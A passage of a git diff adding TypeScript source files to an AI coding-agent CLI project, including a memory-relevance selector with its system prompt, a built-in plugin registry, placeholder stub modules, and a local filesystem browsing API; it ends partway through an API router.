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
\ No newline at end of file
diff --git a/cc-haha/src/memdir/findRelevantMemories.ts b/cc-haha/src/memdir/findRelevantMemories.ts
new file mode 100644
index 0000000..c239e0a
--- /dev/null
+++ b/cc-haha/src/memdir/findRelevantMemories.ts
@@ -0,0 +1,141 @@
+import { feature } from 'bun:bundle'
+import { logForDebugging } from '../utils/debug.js'
+import { errorMessage } from '../utils/errors.js'
+import { getDefaultSonnetModel } from '../utils/model/model.js'
+import { sideQuery } from '../utils/sideQuery.js'
+import { jsonParse } from '../utils/slowOperations.js'
+import {
+  formatMemoryManifest,
+  type MemoryHeader,
+  scanMemoryFiles,
+} from './memoryScan.js'
+
+export type RelevantMemory = {
+  path: string
+  mtimeMs: number
+}
+
+const SELECT_MEMORIES_SYSTEM_PROMPT = `You are selecting memories that will be useful to Claude Code as it processes a user's query. You will be given the user's query and a list of available memory files with their filenames and descriptions.
+
+Return a list of filenames for the memories that will clearly be useful to Claude Code as it processes the user's query (up to 5). Only include memories that you are certain will be helpful based on their name and description.
+- If you are unsure if a memory will be useful in processing the user's query, then do not include it in your list. Be selective and discerning.
+- If there are no memories in the list that would clearly be useful, feel free to return an empty list.
+- If a list of recently-used tools is provided, do not select memories that are usage reference or API documentation for those tools (Claude Code is already exercising them). DO still select memories containing warnings, gotchas, or known issues about those tools — active use is exactly when those matter.
+`
+
+/**
+ * Find memory files relevant to a query by scanning memory file headers
+ * and asking Sonnet to select the most relevant ones.
+ *
+ * Returns absolute file paths + mtime of the most relevant memories
+ * (up to 5). Excludes MEMORY.md (already loaded in system prompt).
+ * mtime is threaded through so callers can surface freshness to the
+ * main model without a second stat.
+ *
+ * `alreadySurfaced` filters paths shown in prior turns before the
+ * Sonnet call, so the selector spends its 5-slot budget on fresh
+ * candidates instead of re-picking files the caller will discard.
+ */
+export async function findRelevantMemories(
+  query: string,
+  memoryDir: string,
+  signal: AbortSignal,
+  recentTools: readonly string[] = [],
+  alreadySurfaced: ReadonlySet<string> = new Set(),
+): Promise<RelevantMemory[]> {
+  const memories = (await scanMemoryFiles(memoryDir, signal)).filter(
+    m => !alreadySurfaced.has(m.filePath),
+  )
+  if (memories.length === 0) {
+    return []
+  }
+
+  const selectedFilenames = await selectRelevantMemories(
+    query,
+    memories,
+    signal,
+    recentTools,
+  )
+  const byFilename = new Map(memories.map(m => [m.filename, m]))
+  const selected = selectedFilenames
+    .map(filename => byFilename.get(filename))
+    .filter((m): m is MemoryHeader => m !== undefined)
+
+  // Fires even on empty selection: selection-rate needs the denominator,
+  // and -1 ages distinguish "ran, picked nothing" from "never ran".
+  if (feature('MEMORY_SHAPE_TELEMETRY')) {
+    /* eslint-disable @typescript-eslint/no-require-imports */
+    const { logMemoryRecallShape } =
+      require('./memoryShapeTelemetry.js') as typeof import('./memoryShapeTelemetry.js')
+    /* eslint-enable @typescript-eslint/no-require-imports */
+    logMemoryRecallShape(memories, selected)
+  }
+
+  return selected.map(m => ({ path: m.filePath, mtimeMs: m.mtimeMs }))
+}
+
+async function selectRelevantMemories(
+  query: string,
+  memories: MemoryHeader[],
+  signal: AbortSignal,
+  recentTools: readonly string[],
+): Promise<string[]> {
+  const validFilenames = new Set(memories.map(m => m.filename))
+
+  const manifest = formatMemoryManifest(memories)
+
+  // When Claude Code is actively using a tool (e.g. mcp__X__spawn),
+  // surfacing that tool's reference docs is noise — the conversation
+  // already contains working usage.  The selector otherwise matches
+  // on keyword overlap ("spawn" in query + "spawn" in a memory
+  // description → false positive).
+  const toolsSection =
+    recentTools.length > 0
+      ? `\n\nRecently used tools: ${recentTools.join(', ')}`
+      : ''
+
+  try {
+    const result = await sideQuery({
+      model: getDefaultSonnetModel(),
+      system: SELECT_MEMORIES_SYSTEM_PROMPT,
+      skipSystemPromptPrefix: true,
+      messages: [
+        {
+          role: 'user',
+          content: `Query: ${query}\n\nAvailable memories:\n${manifest}${toolsSection}`,
+        },
+      ],
+      max_tokens: 256,
+      output_format: {
+        type: 'json_schema',
+        schema: {
+          type: 'object',
+          properties: {
+            selected_memories: { type: 'array', items: { type: 'string' } },
+          },
+          required: ['selected_memories'],
+          additionalProperties: false,
+        },
+      },
+      signal,
+      querySource: 'memdir_relevance',
+    })
+
+    const textBlock = result.content.find(block => block.type === 'text')
+    if (!textBlock || textBlock.type !== 'text') {
+      return []
+    }
+
+    const parsed: { selected_memories: string[] } = jsonParse(textBlock.text)
+    return parsed.selected_memories.filter(f => validFilenames.has(f))
+  } catch (e) {
+    if (signal.aborted) {
+      return []
+    }
+    logForDebugging(
+      `[memdir] selectRelevantMemories failed: ${errorMessage(e)}`,
+      { level: 'warn' },
+    )
+    return []
+  }
+}
diff --git a/cc-haha/src/plugins/builtinPlugins.ts b/cc-haha/src/plugins/builtinPlugins.ts
new file mode 100644
index 0000000..fd33956
--- /dev/null
+++ b/cc-haha/src/plugins/builtinPlugins.ts
@@ -0,0 +1,159 @@
+/**
+ * Built-in Plugin Registry
+ *
+ * Manages built-in plugins that ship with the CLI and can be enabled/disabled
+ * by users via the /plugin UI.
+ *
+ * Built-in plugins differ from bundled skills (src/skills/bundled/) in that:
+ * - They appear in the /plugin UI under a "Built-in" section
+ * - Users can enable/disable them (persisted to user settings)
+ * - They can provide multiple components (skills, hooks, MCP servers)
+ *
+ * Plugin IDs use the format `{name}@builtin` to distinguish them from
+ * marketplace plugins (`{name}@{marketplace}`).
+ */
+
+import type { Command } from '../commands.js'
+import type { BundledSkillDefinition } from '../skills/bundledSkills.js'
+import type { BuiltinPluginDefinition, LoadedPlugin } from '../types/plugin.js'
+import { getSettings_DEPRECATED } from '../utils/settings/settings.js'
+
+const BUILTIN_PLUGINS: Map<string, BuiltinPluginDefinition> = new Map()
+
+export const BUILTIN_MARKETPLACE_NAME = 'builtin'
+
+/**
+ * Register a built-in plugin. Call this from initBuiltinPlugins() at startup.
+ */
+export function registerBuiltinPlugin(
+  definition: BuiltinPluginDefinition,
+): void {
+  BUILTIN_PLUGINS.set(definition.name, definition)
+}
+
+/**
+ * Check if a plugin ID represents a built-in plugin (ends with @builtin).
+ */
+export function isBuiltinPluginId(pluginId: string): boolean {
+  return pluginId.endsWith(`@${BUILTIN_MARKETPLACE_NAME}`)
+}
+
+/**
+ * Get a specific built-in plugin definition by name.
+ * Useful for the /plugin UI to show the skills/hooks/MCP list without
+ * a marketplace lookup.
+ */
+export function getBuiltinPluginDefinition(
+  name: string,
+): BuiltinPluginDefinition | undefined {
+  return BUILTIN_PLUGINS.get(name)
+}
+
+/**
+ * Get all registered built-in plugins as LoadedPlugin objects, split into
+ * enabled/disabled based on user settings (with defaultEnabled as fallback).
+ * Plugins whose isAvailable() returns false are omitted entirely.
+ */
+export function getBuiltinPlugins(): {
+  enabled: LoadedPlugin[]
+  disabled: LoadedPlugin[]
+} {
+  const settings = getSettings_DEPRECATED()
+  const enabled: LoadedPlugin[] = []
+  const disabled: LoadedPlugin[] = []
+
+  for (const [name, definition] of BUILTIN_PLUGINS) {
+    if (definition.isAvailable && !definition.isAvailable()) {
+      continue
+    }
+
+    const pluginId = `${name}@${BUILTIN_MARKETPLACE_NAME}`
+    const userSetting = settings?.enabledPlugins?.[pluginId]
+    // Enabled state: user preference > plugin default > true
+    const isEnabled =
+      userSetting !== undefined
+        ? userSetting === true
+        : (definition.defaultEnabled ?? true)
+
+    const plugin: LoadedPlugin = {
+      name,
+      manifest: {
+        name,
+        description: definition.description,
+        version: definition.version,
+      },
+      path: BUILTIN_MARKETPLACE_NAME, // sentinel — no filesystem path
+      source: pluginId,
+      repository: pluginId,
+      enabled: isEnabled,
+      isBuiltin: true,
+      hooksConfig: definition.hooks,
+      mcpServers: definition.mcpServers,
+    }
+
+    if (isEnabled) {
+      enabled.push(plugin)
+    } else {
+      disabled.push(plugin)
+    }
+  }
+
+  return { enabled, disabled }
+}
+
+/**
+ * Get skills from enabled built-in plugins as Command objects.
+ * Skills from disabled plugins are not returned.
+ */
+export function getBuiltinPluginSkillCommands(): Command[] {
+  const { enabled } = getBuiltinPlugins()
+  const commands: Command[] = []
+
+  for (const plugin of enabled) {
+    const definition = BUILTIN_PLUGINS.get(plugin.name)
+    if (!definition?.skills) continue
+    for (const skill of definition.skills) {
+      commands.push(skillDefinitionToCommand(skill))
+    }
+  }
+
+  return commands
+}
+
+/**
+ * Clear built-in plugins registry (for testing).
+ */
+export function clearBuiltinPlugins(): void {
+  BUILTIN_PLUGINS.clear()
+}
+
+// --
+
+function skillDefinitionToCommand(definition: BundledSkillDefinition): Command {
+  return {
+    type: 'prompt',
+    name: definition.name,
+    description: definition.description,
+    hasUserSpecifiedDescription: true,
+    allowedTools: definition.allowedTools ?? [],
+    argumentHint: definition.argumentHint,
+    whenToUse: definition.whenToUse,
+    model: definition.model,
+    disableModelInvocation: definition.disableModelInvocation ?? false,
+    userInvocable: definition.userInvocable ?? true,
+    contentLength: 0,
+    // 'bundled' not 'builtin' — 'builtin' in Command.source means hardcoded
+    // slash commands (/help, /clear). Using 'bundled' keeps these skills in
+    // the Skill tool's listing, analytics name logging, and prompt-truncation
+    // exemption. The user-toggleable aspect is tracked on LoadedPlugin.isBuiltin.
+    source: 'bundled',
+    loadedFrom: 'bundled',
+    hooks: definition.hooks,
+    context: definition.context,
+    agent: definition.agent,
+    isEnabled: definition.isEnabled ?? (() => true),
+    isHidden: !(definition.userInvocable ?? true),
+    progressMessage: 'running',
+    getPromptForCommand: definition.getPromptForCommand,
+  }
+}
diff --git a/cc-haha/src/self-hosted-runner/main.ts b/cc-haha/src/self-hosted-runner/main.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/self-hosted-runner/main.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/server/api/filesystem.ts b/cc-haha/src/server/api/filesystem.ts
new file mode 100644
index 0000000..9ebab11
--- /dev/null
+++ b/cc-haha/src/server/api/filesystem.ts
@@ -0,0 +1,180 @@
+/**
+ * Filesystem browser & search API — supports directory browsing and file search
+ * for the DirectoryPicker component and @-triggered file search popup.
+ */
+
+import * as path from 'path'
+import * as fs from 'fs'
+import * as os from 'os'
+
+const IMAGE_MIME_TYPES: Record<string, string> = {
+  '.png': 'image/png',
+  '.jpg': 'image/jpeg',
+  '.jpeg': 'image/jpeg',
+  '.gif': 'image/gif',
+  '.webp': 'image/webp',
+  '.svg': 'image/svg+xml',
+  '.bmp': 'image/bmp',
+  '.ico': 'image/x-icon',
+  '.avif': 'image/avif',
+}
+
+function isWithinRoot(targetPath: string, rootPath: string): boolean {
+  return targetPath === rootPath || targetPath.startsWith(`${rootPath}${path.sep}`)
+}
+
+function isAllowedFilesystemPath(targetPath: string): boolean {
+  const resolvedPath = path.resolve(targetPath)
+  const homeDir = path.resolve(os.homedir())
+
+  if (isWithinRoot(resolvedPath, homeDir) || isWithinRoot(resolvedPath, '/tmp')) {
+    return true
+  }
+
+  // macOS reports /tmp as /private/tmp via native folder pickers and realpath().
+  if (process.platform === 'darwin' && isWithinRoot(resolvedPath, '/private/tmp')) {
+    return true
+  }
+
+  return false
+}
+
+export async function handleFilesystemRoute(pathname: string, url: URL): Promise<Response> {
+  if (pathname === '/api/filesystem/browse') {
+    return handleBrowse(url)
+  }
+
+  if (pathname === '/api/filesystem/file') {
+    return handleServeFile(url)
+  }
+
+  return new Response(JSON.stringify({ error: 'Not found' }), { status: 404 })
+}
+
+async function handleServeFile(url: URL): Promise<Response> {
+  const filePath = url.searchParams.get('path')
+  if (!filePath) {
+    return json({ error: 'Missing path parameter' }, 400)
+  }
+
+  const resolvedPath = path.resolve(filePath)
+
+  if (!isAllowedFilesystemPath(resolvedPath)) {
+    return json({ error: 'Access denied: path outside allowed directory' }, 403)
+  }
+
+  const ext = path.extname(resolvedPath).toLowerCase()
+  const mimeType = IMAGE_MIME_TYPES[ext]
+
+  if (!mimeType) {
+    return json({ error: 'Unsupported file type' }, 400)
+  }
+
+  try {
+    const stat = fs.statSync(resolvedPath)
+    if (!stat.isFile()) {
+      return json({ error: 'Not a file' }, 400)
+    }
+    // Limit to 50MB
+    if (stat.size > 50 * 1024 * 1024) {
+      return json({ error: 'File too large' }, 400)
+    }
+
+    const data = fs.readFileSync(resolvedPath)
+    return new Response(data, {
+      status: 200,
+      headers: {
+        'Content-Type': mimeType,
+        'Content-Length': String(stat.size),
+        'Cache-Control': 'private, max-age=3600',
+      },
+    })
+  } catch {
+    return json({ error: 'File not found' }, 404)
+  }
+}
+
+async function handleBrowse(url: URL): Promise<Response> {
+  const targetPath = url.searchParams.get('path') || process.env.HOME || '/'
+  const resolvedPath = path.resolve(targetPath)
+
+  if (!isAllowedFilesystemPath(resolvedPath)) {
+    return json({ error: 'Access denied: path outside allowed directory' }, 403)
+  }
+
+  const searchQuery = url.searchParams.get('search') || ''
+  const includeFiles = url.searchParams.get('includeFiles') === 'true'
+  const maxResults = Math.min(parseInt(url.searchParams.get('maxResults') || '200', 10), 200)
+
+  try {
+    const stat = fs.statSync(resolvedPath)
+    if (!stat.isDirectory()) {
+      return json({ error: 'Not a directory', path: resolvedPath }, 400)
+    }
+
+    const entries = fs.readdirSync(resolvedPath, { withFileTypes: true })
+
+    if (searchQuery) {
+      // Search mode: filter by filename, include both dirs and files
+      const query = searchQuery.toLowerCase()
+      const results = entries
+        .filter((e) => {
+          if (e.name.startsWith('.')) return false
+          if (e.isDirectory()) return e.name.toLowerCase().includes(query)
+          if (!includeFiles) return false
+          return e.name.toLowerCase().includes(query)
+        })
+        .slice(0, maxResults)
+        .map((e) => ({
+          name: e.name,
+          path: path.join(resolvedPath, e.name),
+          isDirectory: e.isDirectory(),
+        }))
+        .sort((a, b) => {
+          // Directories first, then alphabetically
+          if (a.isDirectory !== b.isDirectory) return a.isDirectory ? -1 : 1
+          return a.name.localeCompare(b.name)
+        })
+
+      return json({
+        currentPath: resolvedPath,
+        parentPath: path.dirname(resolvedPath),
+        entries: results,
+        query: searchQuery,
+      })
+    }
+
+    // Browse mode: show all directories (and optionally files)
+    const filtered = entries.filter((e) => {
+      if (e.name.startsWith('.')) return false
+      if (e.isDirectory()) return true
+      return includeFiles
+    })
+
+    const entries_list = filtered
+      .map((e) => ({
+        name: e.name,
+        path: path.join(resolvedPath, e.name),
+        isDirectory: e.isDirectory(),
+      }))
+      .sort((a, b) => {
+        if (a.isDirectory !== b.isDirectory) return a.isDirectory ? -1 : 1
+        return a.name.localeCompare(b.name)
+      })
+
+    return json({
+      currentPath: resolvedPath,
+      parentPath: path.dirname(resolvedPath),
+      entries: entries_list,
+    })
+  } catch (err) {
+    return json({ error: `Cannot read directory: ${err}`, path: resolvedPath }, 500)
+  }
+}
+
+function json(data: unknown, status = 200): Response {
+  return new Response(JSON.stringify(data), {
+    status,
+    headers: { 'Content-Type': 'application/json' },
+  })
+}
diff --git a/cc-haha/src/server/connectHeadless.ts b/cc-haha/src/server/connectHeadless.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/server/connectHeadless.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/server/lockfile.ts b/cc-haha/src/server/lockfile.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/cc-haha/src/server/lockfile.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/cc-haha/src/server/middleware/errorHandler.ts b/cc-haha/src/server/middleware/errorHandler.ts
new file mode 100644
index 0000000..485ce66
--- /dev/null
+++ b/cc-haha/src/server/middleware/errorHandler.ts
@@ -0,0 +1,45 @@
+/**
+ * Unified error handling utilities
+ */
+
+export class ApiError extends Error {
+  constructor(
+    public statusCode: number,
+    message: string,
+    public code?: string
+  ) {
+    super(message)
+    this.name = 'ApiError'
+  }
+
+  static badRequest(message: string) {
+    return new ApiError(400, message, 'BAD_REQUEST')
+  }
+
+  static notFound(message: string) {
+    return new ApiError(404, message, 'NOT_FOUND')
+  }
+
+  static conflict(message: string) {
+    return new ApiError(409, message, 'CONFLICT')
+  }
+
+  static internal(message: string) {
+    return new ApiError(500, message, 'INTERNAL_ERROR')
+  }
+}
+
+export function errorResponse(error: unknown): Response {
+  if (error instanceof ApiError) {
+    return Response.json(
+      { error: error.code || 'ERROR', message: error.message },
+      { status: error.statusCode }
+    )
+  }
+
+  console.error('[Server] Unexpected error:', error)
+  return Response.json(
+    { error: 'INTERNAL_ERROR', message: 'An unexpected error occurred' },
+    { status: 500 }
+  )
+}
diff --git a/cc-haha/src/server/router.ts b/cc-haha/src/server/router.ts
new file mode 100644
index 0000000..6c17143
--- /dev/null
+++ b/cc-haha/src/server/router.ts
@@ -0,0 +1,103 @@
+/**
+ * API Router — 将请求路由到对应的 API handler
+ */
+
+import { handleSessionsApi } from './api/sessions.js'
+import { handleSettingsApi } from './api/settings.js'
+import { handleModelsApi } from './api/models.js'
+import { handleScheduledTasksApi } from './api/scheduled-tasks.js'
+import { handleSearchApi } from './api/search.js'
+import { handleAgentsApi } from './api/agents.js'
+import { handleStatusApi } from './api/status.js'
+import { handleConversationsApi } from './api/conversations.js'
+import { handleTeamsApi } from './api/teams.js'
+import { handleFilesystemRoute } from './api/filesystem.js'
+import { handleProvidersApi } from './api/providers.js'
+import { handleAdaptersApi } from './api/adapters.js'
+import { handlePluginsApi } from './api/plugins.js'
+import { handleSkillsApi } from './api/skills.js'
+import { handleComputerUseApi } from './api/computer-use.js'
+import { handleHahaOAuthApi } from './api/haha-oauth.js'
+import { handleHeicodeAuthApi } from './api/heicode-auth.js'
+import { handleMcpApi } from './api/mcp.js'
+
+export async function handleApiRequest(req: Request, url: URL): Promise<Response> {
+  const path = url.pathname
+  const segments = path.split('/').filter(Boolean) // ['api', 'sessions', ...]
+
+  // Route to appropriate handler based on the second segment
+  const resource = segments[1]
+
+  switch (resource) {
